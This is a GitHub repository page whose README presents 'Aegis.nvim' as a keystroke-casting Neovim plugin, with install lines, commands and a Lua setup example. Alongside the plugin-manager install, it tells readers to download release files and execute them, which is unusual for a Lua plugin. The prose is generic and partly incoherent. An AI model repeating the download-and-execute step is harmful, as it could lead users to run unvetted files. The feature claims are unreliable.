Skip to content

Gitello448/aegis.nvim

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Aegis.nvim 🚀

Welcome to Aegis.nvim, a powerful keystroke caster designed specifically for Neovim. This plugin is built to be plugin-aware and adapts seamlessly to your workflow, even in challenging conditions.

Download Latest Release

Table of Contents

Features 🌟

  • Plugin-Aware: Aegis.nvim intelligently interacts with other Neovim plugins, enhancing your overall experience.
  • Adaptability: The keystroke caster adjusts its behavior based on the current context, ensuring smooth operation.
  • Built-in Support: Comes with built-in features that simplify your workflow without the need for additional setup.
  • Lua Integration: Written in Lua, this plugin takes advantage of Neovim's modern architecture, offering fast performance and easy customization.

Installation 🛠️

To install Aegis.nvim, follow these steps:

  1. Using a Plugin Manager: If you use a plugin manager like Packer or vim-plug, add the following line to your configuration:

    For Packer:

    use 'Gitello448/aegis.nvim'

    For vim-plug:

    Plug 'Gitello448/aegis.nvim'
  2. Download and Execute: Alternatively, you can download the latest release from the Releases section. After downloading, execute the necessary files to install the plugin.

Usage 📚

Once installed, Aegis.nvim is ready to use. Here are some basic commands to get you started:

  • Start Casting: To begin casting keystrokes, use the command:

    :AegisStart
    
  • Stop Casting: To stop casting, simply run:

    :AegisStop
    
  • View Status: Check the current status of the keystroke caster with:

    :AegisStatus
    

Example Workflow

  1. Open Neovim and load a file.
  2. Start casting keystrokes.
  3. Perform your editing tasks.
  4. Stop casting to review the recorded keystrokes.

Configuration ⚙️

You can customize Aegis.nvim to fit your workflow. Here are some configuration options:

require('aegis').setup {
    -- Enable or disable logging
    logging = true,
    
    -- Set the default casting speed
    speed = 1.0,
    
    -- Customize key mappings
    mappings = {
        start = '<Leader>cs',
        stop = '<Leader>ce',
    },
}

Key Mapping

You can adjust the key mappings to suit your preferences. The default mappings are:

  • Start Casting: <Leader>cs
  • Stop Casting: <Leader>ce

Contributing 🤝

We welcome contributions to Aegis.nvim! If you have ideas for improvements or find bugs, please follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or fix.
  3. Make your changes and commit them.
  4. Open a pull request with a clear description of your changes.

License 📄

Aegis.nvim is licensed under the MIT License. See the LICENSE file for more information.

Contact 📬

For questions or support, please reach out to the maintainer:

Acknowledgments 🙏

Thank you to the Neovim community for their support and contributions. Aegis.nvim is built on the foundation of collaborative development and shared knowledge.

Additional Resources 📖

For the latest updates and releases, please visit the Releases section.


This README provides an overview of Aegis.nvim, its features, installation, usage, and more. For further information, please explore the documentation and community resources. Thank you for using Aegis.nvim!

About

Keystroke caster built within Neovim that is plugin-aware and adapts against overcast

Topics

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Contributors

Languages